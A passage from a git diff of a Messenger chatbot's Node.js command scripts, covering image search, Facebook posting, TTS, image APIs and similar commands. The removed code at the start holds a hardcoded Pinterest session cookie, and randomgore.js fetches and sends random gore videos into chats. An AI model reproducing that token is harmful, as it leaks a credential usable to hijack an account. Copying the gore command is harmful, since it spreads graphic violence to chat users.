_pinterest_sess=TWc9PSZHamJOZ0JobUFiSEpSN3Z4a2NsMk9wZ3gxL1NSc2k2NkFLaUw5bVY5cXR5alZHR0gxY2h2MVZDZlNQalNpUUJFRVR5L3NlYy9JZkthekp3bHo5bXFuaFZzVHJFMnkrR3lTbm56U3YvQXBBTW96VUgzVUhuK1Z4VURGKzczUi9hNHdDeTJ5Y2pBTmxhc2owZ2hkSGlDemtUSnYvVXh5dDNkaDN3TjZCTk8ycTdHRHVsOFg2b2NQWCtpOWxqeDNjNkk3cS85MkhhSklSb0hwTnZvZVFyZmJEUllwbG9UVnpCYVNTRzZxOXNJcmduOVc4aURtM3NtRFo3STlmWjJvSjlWTU5ITzg0VUg1NGhOTEZzME9SNFNhVWJRWjRJK3pGMFA4Q3UvcHBnWHdaYXZpa2FUNkx6Z3RNQjEzTFJEOHZoaHRvazc1c1UrYlRuUmdKcDg3ZEY4cjNtZlBLRTRBZjNYK0lPTXZJTzQ5dU8ybDdVS015bWJKT0tjTWYyRlBzclpiamdsNmtpeUZnRjlwVGJXUmdOMXdTUkFHRWloVjBMR0JlTE5YcmhxVHdoNzFHbDZ0YmFHZ1VLQXU1QnpkM1FqUTNMTnhYb3VKeDVGbnhNSkdkNXFSMXQybjRGL3pyZXRLR0ZTc0xHZ0JvbTJCNnAzQzE0cW1WTndIK0trY05HV1gxS09NRktadnFCSDR2YzBoWmRiUGZiWXFQNjcwWmZhaDZQRm1UbzNxc21pV1p5WDlabm1UWGQzanc1SGlrZXB1bDVDWXQvUis3elN2SVFDbm1DSVE5Z0d4YW1sa2hsSkZJb1h0MTFpck5BdDR0d0lZOW1Pa2RDVzNySWpXWmUwOUFhQmFSVUpaOFQ3WlhOQldNMkExeDIvMjZHeXdnNjdMYWdiQUhUSEFBUlhUVTdBMThRRmh1ekJMYWZ2YTJkNlg0cmFCdnU2WEpwcXlPOVZYcGNhNkZDd051S3lGZmo0eHV0ZE42NW8xRm5aRWpoQnNKNnNlSGFad1MzOHNkdWtER0xQTFN5Z3lmRERsZnZWWE5CZEJneVRlMDd2VmNPMjloK0g5eCswZUVJTS9CRkFweHc5RUh6K1JocGN6clc1JmZtL3JhRE1sc0NMTFlpMVErRGtPcllvTGdldz0=" - }, - }); - const $ = cheerio.load(data); - const result = []; - const image = []; - $("div > a").each((_, element) => { - const link = $(element).find("img").attr("src"); - if (link !== undefined) result.push(link); - }); - for (let v of result) { - image.push(v.replace(/236/g, "736")); +module.exports.run = async function({ api, event, args }) { + const axios = require("axios"); + const fs = require("fs-extra"); + const request = require("request"); + const keySearch = args.join(" "); + if(keySearch.includes("-") == false) return api.sendMessage('Please enter in the format, example: pinterest Coco Martin - 10 (20 limit only)', event.threadID, event.messageID) + const keySearchs = keySearch.substr(0, keySearch.indexOf('-')) + const numberSearch = keySearch.split("-").pop() || 6 + const res = await axios.get(`https://gpt4withcustommodel.onrender.com/api/pin?title=${encodeURIComponent(keySearchs)}&count=20`); + const data = res.data.data; + var num = 0; + var imgData = []; + for (var i = 0; i < parseInt(numberSearch); i++) { + let path = __dirname + `/cache/${num+=1}.jpg`; + let getDown = (await axios.get(`${data[i]}`, { responseType: 'arraybuffer' })).data; + fs.writeFileSync(path, Buffer.from(getDown, 'utf-8')); + imgData.push(fs.createReadStream(__dirname + `/cache/${num}.jpg`)); } - image.shift(); - return image; - } catch (error) { - throw error; - } -} -module.exports.run = async function({ - api, - event, - args, - prefix -}) { - const input = args.join(' '); - const time = new Date(); - const timestamp = time.toISOString().replace(/[:.]/g, "-"); - if (!input) { - api.sendMessage(`To get started, type Pinterest followed by the name of the image you are looking for, and the expected number of images.\n\nExample:\n\n${prefix}soyeon - 10`, event.threadID, event.messageID); - } else { - try { - const key = input.substr(0, input.indexOf('-')); - api.sendMessage(`Searching for ${key}`, event.threadID, event.messageID); - const len = input.split("-").pop() || 6 - const data = await getPinterest(key); - let num = 0; - let file = []; - for (let i = 0; i < parseInt(len); i++) { - const path = `./script/cache/${timestamp}_${i + 1}.jpg`; - const download = (await axios.get(`${data[i]}`, { - responseType: 'arraybuffer' - })).data; - fs.writeFileSync(path, Buffer.from(download, 'utf-8')); - file.push(fs.createReadStream(path)); - } - await api.sendMessage({ - attachment: file, - body: "" - }, event.threadID, (err) => { - if (err) { - return; - } else { - for (let i = 0; i < parseInt(len); i++) { - fs.unlinkSync(`./script/cache/${timestamp}_${i + 1}.jpg`); - } - } - }, event.messageID); - } catch (error) { - console.log(error); + api.sendMessage({ + attachment: imgData, + body: numberSearch + 'Search results for keyword: '+ keySearchs + }, event.threadID, event.messageID) + for (let ii = 1; ii < parseInt(numberSearch); ii++) { + fs.unlinkSync(__dirname + `/cache/${ii}.jpg`) } - } -} +}; diff --git a/script/post.js b/script/post.js new file mode 100644 index 000000000..55c253213 --- /dev/null +++ b/script/post.js @@ -0,0 +1,137 @@ +module.exports.config = { + name: "post", + version: "1.0.0", + role: 1, + credits: "NTKhang", + description: "Create a new post in acc bot.", + commandCategory: "Tiแป‡n รญch", + cooldowns: 5, + hasPrefix: true +}; + +module.exports.run = async ({ api, event, args }) => { + const { threadID, messageID, senderID } = event; + const uuid = getGUID(); + const formData = { + "input": { + "composer_entry_point": "inline_composer", + "composer_source_surface": "timeline", + "idempotence_token": uuid + "_FEED", + "source": "WWW", + "attachments": [], + "audience": { + "privacy": { + "allow": [], + "base_state": "FRIENDS", // SELF EVERYONE + "deny": [], + "tag_expansion_state": "UNSPECIFIED" + } + }, + "message": { + "ranges": [], + "text": "" + }, + "with_tags_ids": [], + "inline_activities": [], + "explicit_place_id": "0", + "text_format_preset_id": "0", + "logging": { + "composer_session_id": uuid + }, + "tracking": [ + null + ], + "actor_id": api.getCurrentUserID(), + "client_mutation_id": Math.floor(Math.random()*17) + }, + "displayCommentsFeedbackContext": null, + "displayCommentsContextEnableComment": null, + "displayCommentsContextIsAdPreview": null, + "displayCommentsContextIsAggregatedShare": null, + "displayCommentsContextIsStorySet": null, + "feedLocation": "TIMELINE", + "feedbackSource": 0, + "focusCommentID": null, + "gridMediaWidth": 230, + "groupID": null, + "scale": 3, + "privacySelectorRenderLocation": "COMET_STREAM", + "renderLocation": "timeline", + "useDefaultActor": false, + "inviteShortLinkKey": null, + "isFeed": false, + "isFundraiser": false, + "isFunFactPost": false, + "isGroup": false, + "isTimeline": true, + "isSocialLearning": false, + "isPageNewsFeed": false, + "isProfileReviews": false, + "isWorkSharedDraft": false, + "UFI2CommentsProvider_commentsKey": "ProfileCometTimelineRoute", + "hashtag": null, + "canUserManageOffers": false + }; + + const audienceOptions = { + "1": "EVERYONE", + "2": "FRIENDS", + "3": "SELF" + }; + + const audienceChoice = args[0]; + const content = args.slice(1).join(" "); + + if (!audienceOptions[audienceChoice]) { + return api.sendMessage("Invalid audience choice. Please choose 1, 2, or 3.", threadID, messageID); + } + + formData.input.audience.privacy.base_state = audienceOptions[audienceChoice]; + formData.input.message.text = content; + + try { + const postResult = await createPost(api, formData); + return api.sendMessage(`Post created successfully:\nPost ID: ${postResult.postID}\nPost URL: ${postResult.postURL}`, threadID, messageID); + } catch (error) { + console.error("Error creating post:", error); + return api.sendMessage("Failed to create post. Please try again later.", threadID, messageID); + } +}; + +async function createPost(api, formData) { + return new Promise((resolve, reject) => { + const form = { + av: api.getCurrentUserID(), + fb_api_req_friendly_name: "ComposerStoryCreateMutation", + fb_api_caller_class: "RelayModern", + doc_id: "7711610262190099", + variables: JSON.stringify(formData) + }; + + api.httpPost('https://www.facebook.com/api/graphql/', form, (error, result) => { + if (error) { + reject(error); + } else { + try { + const responseData = JSON.parse(result.replace("for (;;);", "")); + const postID = responseData.data.story_create.story.legacy_story_hideable_id; + const postURL = responseData.data.story_create.story.url; + resolve({ postID, postURL }); + } catch (parseError) { + reject(parseError); + } + } + }); + }); +} + +function getGUID() { + var sectionLength = Date.now(); + var id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { + var r = Math.floor((sectionLength + Math.random() * 16) % 16); + sectionLength = Math.floor(sectionLength / 16); + var _guid = (c == "x" ? r : (r & 7) | 8).toString(16); + return _guid; + }); + return id; +} diff --git a/script/prefix.js b/script/prefix.js new file mode 100644 index 000000000..5430a4e80 --- /dev/null +++ b/script/prefix.js @@ -0,0 +1,59 @@ +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "prefix", + version: "1.0.1", + role: 0, + credits: "cliff", + description: "Display the prefix of your bot", + hasPrefix: false, + usages: "prefix", + cooldown: 5, + aliases: ["prefix", "Prefix", "PREFIX", "prefi"], +}; + +module.exports.run = function ({ api, event, args, prefix, admin }) { + const { threadID, messageID } = event; + + // Removing the manual execution block + // if (event.body.toLowerCase() === `${prefix}prefix`) { + // api.sendMessage( + // "This command cannot be executed manually.", + // threadID, + // messageID + // ); + // return; + // } + + const userPrefix = args.join(" "); + let messageBody; + + if (userPrefix) { + messageBody = `Yo, my prefix is [ ๐“†ฉ ${userPrefix} ๐“†ช ]\n\n๐—ฆ๐—ข๐— ๐—˜ ๐—–๐—ข๐— ๐— ๐—”๐—ก๐——๐—ฆ ๐—ง๐—›๐—”๐—ง ๐— ๐—”๐—ฌ ๐—›๐—˜๐—Ÿ๐—ฃ ๐—ฌ๐—ข๐—จ:\nโžฅ ${userPrefix}โžฅ ${userPrefix}sim [message] -> talk to bot\nโžฅ ${userPrefix}โžฅ ${userPrefix}help [command] -> information and usage of command\n\nHave fun using it, enjoy! โค๏ธ\nBot Developer: https://www.facebook.com/${admin}`; + } else { + messageBody = `I don't have a prefix set.\n\n๐—ฆ๐—ข๐— ๐—˜ ๐—–๐—ข๐— ๐— ๐—”๐—ก๐——๐—ฆ ๐—ง๐—›๐—”๐—ง ๐— ๐—”๐—ฌ ๐—›๐—˜๐—Ÿ๐—ฃ ๐—ฌ๐—ข๐—จ:\nโžฅ sim [message] -> talk to bot\nโžฅ ai [command] -> can answer any question\nโžฅ help [command] -> information and usage of command\n\nHave fun using it, enjoy! โค๏ธ\nBot Developer: https://www.facebook.com/${admin}`; + } + + api.sendMessage( + { + body: messageBody, + attachment: fs.createReadStream(path.resolve(__dirname, "cache2", "prefix.jpeg")) + }, + threadID, + (err, messageInfo) => { + if (err) return console.error(err); + + api.sendMessage( + { + body: "Hey, listen to my prefix information!", + attachment: fs.createReadStream(path.resolve(__dirname, "cache2", "voiceFile.mp3")), + type: "audio" + }, + threadID, + () => {} + ); + api.setMessageReaction("๐Ÿš€", messageInfo.messageID, (err) => {}, true); + } + ); +}; diff --git a/script/randomgore.js b/script/randomgore.js new file mode 100644 index 000000000..5457ed8aa --- /dev/null +++ b/script/randomgore.js @@ -0,0 +1,55 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "randomgore", + version: "1.0.0", + credits: "chill", + description: "Send a random gore video", + hasPrefix: false, + cooldown: 5, + aliases: ["rgore"] +}; + +module.exports.run = async function ({ api, event }) { + try { + api.sendMessage("Fetching a random gore video, please wait...", event.threadID, async (err, info) => { + if (err) return console.error(err); + + try { + const response = await axios({ + method: 'get', + url: 'https://joshweb.click/api/randgre', + responseType: 'stream' + }); + + const videoPath = path.join(__dirname, "randomgore.mp4"); + const writer = fs.createWriteStream(videoPath); + + response.data.pipe(writer); + + writer.on('finish', () => { + const message = { + body: "Here's a random gore video:", + attachment: fs.createReadStream(videoPath) + }; + api.sendMessage(message, event.threadID, () => { + fs.unlinkSync(videoPath); // Clean up the file after sending + }); + }); + + writer.on('error', (error) => { + console.error(error); + api.sendMessage("An error occurred while downloading the video.", event.threadID); + }); + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while fetching the video.", event.threadID); + } + }); + } catch (error) { + console.error("Error in randomgore command:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/remini.js b/script/remini.js new file mode 100644 index 000000000..695a5f3a6 --- /dev/null +++ b/script/remini.js @@ -0,0 +1,36 @@ +const axios = require('axios'); +const fs = require('fs-extra'); + +module.exports.config = { + name: "remini", + version: "1.0.", + role: 0, + credits: "Mark Hitsuraan", + aliases: [], + usages: "< reply image >", + cd: 2, +}; + +module.exports.run = async ({ api, event, args }) => { + let pathie = __dirname + `/cache/zombie.jpg`; + const { threadID, messageID } = event; + + var mark = event.messageReply.attachments[0].url || args.join(" "); + + try { + api.sendMessage("Generating...", threadID, messageID); + const response = await axios.get(`https://markdevs69-1efde24ed4ea.herokuapp.com/api/remini?inputImage=${encodeURIComponent(mark)}`); + const processedImageURL = response.data.image_data; + + const img = (await axios.get(processedImageURL, { responseType: "arraybuffer"})).data; + + fs.writeFileSync(pathie, Buffer.from(img, 'utf-8')); + + api.sendMessage({ + body: "Processed Image", + attachment: fs.createReadStream(pathie) + }, threadID, () => fs.unlinkSync(pathie), messageID); + } catch (error) { + api.sendMessage(`Error processing image: ${error}`, threadID, messageID); + }; +}; diff --git a/script/removebg.js b/script/removebg.js new file mode 100644 index 000000000..c92f4ea98 --- /dev/null +++ b/script/removebg.js @@ -0,0 +1,38 @@ +const axios = require('axios'); +const fs = require('fs-extra'); + +module.exports.config = { + name: "removebg", + version: "1.0.", + hasPermssion: 0, + credits: "Mark Hitsuraan", + description: "enhance your photo ", + usePrefix: true, + commandCategory: "image", + usages: "< reply image >", + cooldowns: 2, +}; + +module.exports.run = async ({ api, event, args }) => { + let pathie = __dirname + `/cache/remove_bg.jpg`; + const { threadID, messageID } = event; + + var mark = event.messageReply.attachments[0].url || args.join(" "); + + try { + api.sendMessage("Removing background...", threadID, messageID); + const response = await axios.get(`https://allinoneapis-0isy.onrender.com/api/try/removebg?url=${encodeURIComponent(mark)}`); + const processedImageURL = response.data.image_data; + + const img = (await axios.get(processedImageURL, { responseType: "arraybuffer"})).data; + + fs.writeFileSync(pathie, Buffer.from(img, 'binary')); + + api.sendMessage({ + body: "Processed Image", + attachment: fs.createReadStream(pathie) + }, threadID, () => fs.unlinkSync(pathie), messageID); + } catch (error) { + api.sendMessage(`Error processing image: ${error}`, threadID, messageID); + }; +}; diff --git a/script/research.js b/script/research.js new file mode 100644 index 000000000..6a88420c3 --- /dev/null +++ b/script/research.js @@ -0,0 +1,42 @@ +const axios = require('axios'); + +module.exports.config = { + name: "research", + version: "1.0.0", + role: 0, + hasPrefix: true, + credits: "August Quinn", + description: "Search for research articles on Arxiv.", + commandCategory: "Information Retrieval", + usage: ["research [query]"], + cooldowns: 5 +}; + +module.exports.run = async function ({ api, event, args }) { + const { threadID, messageID } = event; + const query = args.join(' '); + + if (!query) { + api.sendMessage('Please provide a search query for Arxiv.', threadID, messageID); + return; + } + + try { + const response = await axios.get(`https://gpt4withcustommodel.onrender.com/arxiv?query=${encodeURIComponent(query)}`); + const data = response.data; + + if (!data.title) { + api.sendMessage('No research articles found on Arxiv for the given query.', threadID, messageID); + return; + } + + const { title, authors, published, summary } = data; + + const responseMessage = `๐Ÿ“š Arxiv Research Article\n\n๐Ÿ“ Title: ${title}\n\n๐Ÿ‘ฅ Authors: ${authors.join(', ')}\n\n๐Ÿ—“๏ธ Published Date: ${published}\n\n๐Ÿ“– Summary: ${summary}`; + + api.sendMessage(responseMessage, threadID, messageID); + } catch (error) { + console.error(error); + api.sendMessage('An error occurred while fetching Arxiv data.', threadID, messageID); + } +}; diff --git a/script/restart.js b/script/restart.js new file mode 100644 index 000000000..df06e9359 --- /dev/null +++ b/script/restart.js @@ -0,0 +1,11 @@ +module.exports = { + description: "Restart the server", + role: "owner", + cooldown: 50, + execute(api, event, args, commands) { + api.sendMessage("Restarting the server...", event.threadID); + setTimeout(() => { + process.exit(1); + }, 4000); + } +}; diff --git a/script/ringtone.js b/script/ringtone.js new file mode 100644 index 000000000..2190e7763 --- /dev/null +++ b/script/ringtone.js @@ -0,0 +1,64 @@ +const bingchilling = require('axios'); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: 'ringtone', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['ringtone'], + description: "rambo", + usage: "ringtone [query]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const chilli = args.join(" "); + + if (!chilli) { + api.sendMessage('usage:ringtone (prompt).', event.threadID, event.messageID); + return; + } + + const cute = `https://joshweb.click/api/ringtone?q=${encodeURIComponent(chilli)}`; + + try { + const response = await bingchilling.get(cute); + const result = response.data; + + if (result.status !== 200) { + api.sendMessage('Error fetching ringtones.', event.threadID, event.messageID); + return; + } + + const hot = result.result; + + if (hot.length === 0) { + api.sendMessage('No ringtones found for the given query.', event.threadID, event.messageID); + return; + } + + for (let i = 0; i < hot.length; i++) { + const pogi = hot[i]; + const audioUrl = pogi.audio; + const audioResponse = await bingchilling.get(audioUrl, { responseType: 'arraybuffer' }); + const audioBuffer = Buffer.from(audioResponse.data, 'binary'); + const audioPath = path.join(__dirname, `${pogi.title}.mp3`); + + fs.writeFileSync(audioPath, audioBuffer); + + api.sendMessage({ + body: `Title: ${pogi.title}\nSource: ${pogi.source}`, + attachment: fs.createReadStream(audioPath) + }, event.threadID, (err) => { + if (err) console.error('Error sending ringtone:', err); + fs.unlinkSync(audioPath); + }); + } + } catch (error) { + console.error('Error:', error); + api.sendMessage('Error: ' + error.message, event.threadID, event.messageID); + } +}; diff --git a/script/say.js b/script/say.js new file mode 100644 index 000000000..eea1a69e2 --- /dev/null +++ b/script/say.js @@ -0,0 +1,57 @@ +const fs = require("fs-extra"); +const path = require("path"); +const axios = require("axios"); + +module.exports.config = { + name: "say", + version: "1.0.0", + role: 0, + credits: "cliff", + description: "Text to voice speech messages", + hasPrefix: false, + usages: `Text to speech messages`, + cooldown: 0, +}; + +module.exports.run = async function({ api, event, args }) { + try { + const { createReadStream, unlinkSync } = fs; + const { resolve } = path; + + let content = (event.type === "message_reply") ? event.messageReply.body : args.join(" "); + let languageToSay = detectLanguage(content); + let msg = content.slice(languageToSay.length).trim(); + + const filePath = resolve(__dirname, 'cache', `${event.threadID}_${event.senderID}.mp3`); + await downloadFile(`https://translate.google.com/translate_tts?ie=UTF-8&q=${encodeURIComponent(msg)}&tl=${languageToSay}&client=tw-ob`, filePath); + + return api.sendMessage({ attachment: createReadStream(filePath) }, event.threadID, () => unlinkSync(filePath), event.messageID); + } catch (error) { + console.error(error); + } +}; + +function detectLanguage(content) { + const supportedLanguages = ["ru", "en", "ko", "ja", "tl"]; + for (const lang of supportedLanguages) { + if (content.startsWith(lang)) { + return lang; + } + } + // Default language if not specified or not supported + return "tl"; +} + +async function downloadFile(url, filePath) { + const writer = fs.createWriteStream(filePath); + const response = await axios({ + url, + method: 'GET', + responseType: 'stream' + }); + response.data.pipe(writer); + return new Promise((resolve, reject) => { + writer.on('finish', resolve); + writer.on('error', reject); + }); +} diff --git a/script/sdxl.js b/script/sdxl.js new file mode 100644 index 000000000..4bf512fab --- /dev/null +++ b/script/sdxl.js @@ -0,0 +1,77 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "sdxl", + version: "1.0.0", + credits: "chill", + description: "Generate images", + hasPrefix: false, + cooldown: 5, + aliases: ["sdxl"] +}; + +const styleList = { + "1": "anime", + "2": "fantasy", + "3": "pencil", + "4": "digital", + "5": "vintage", + "6": "3d (render)", + "7": "cyberpunk", + "8": "manga", + "9": "realistic", + "10": "demonic", + "11": "heavenly", + "12": "comic", + "13": "robotic" +}; + +module.exports.run = async function ({ api, event, args }) { + try { + if (args.length < 2) { + return api.sendMessage(`[ โ— ] - Missing prompt or style for the SDXL command. Usage: sdxl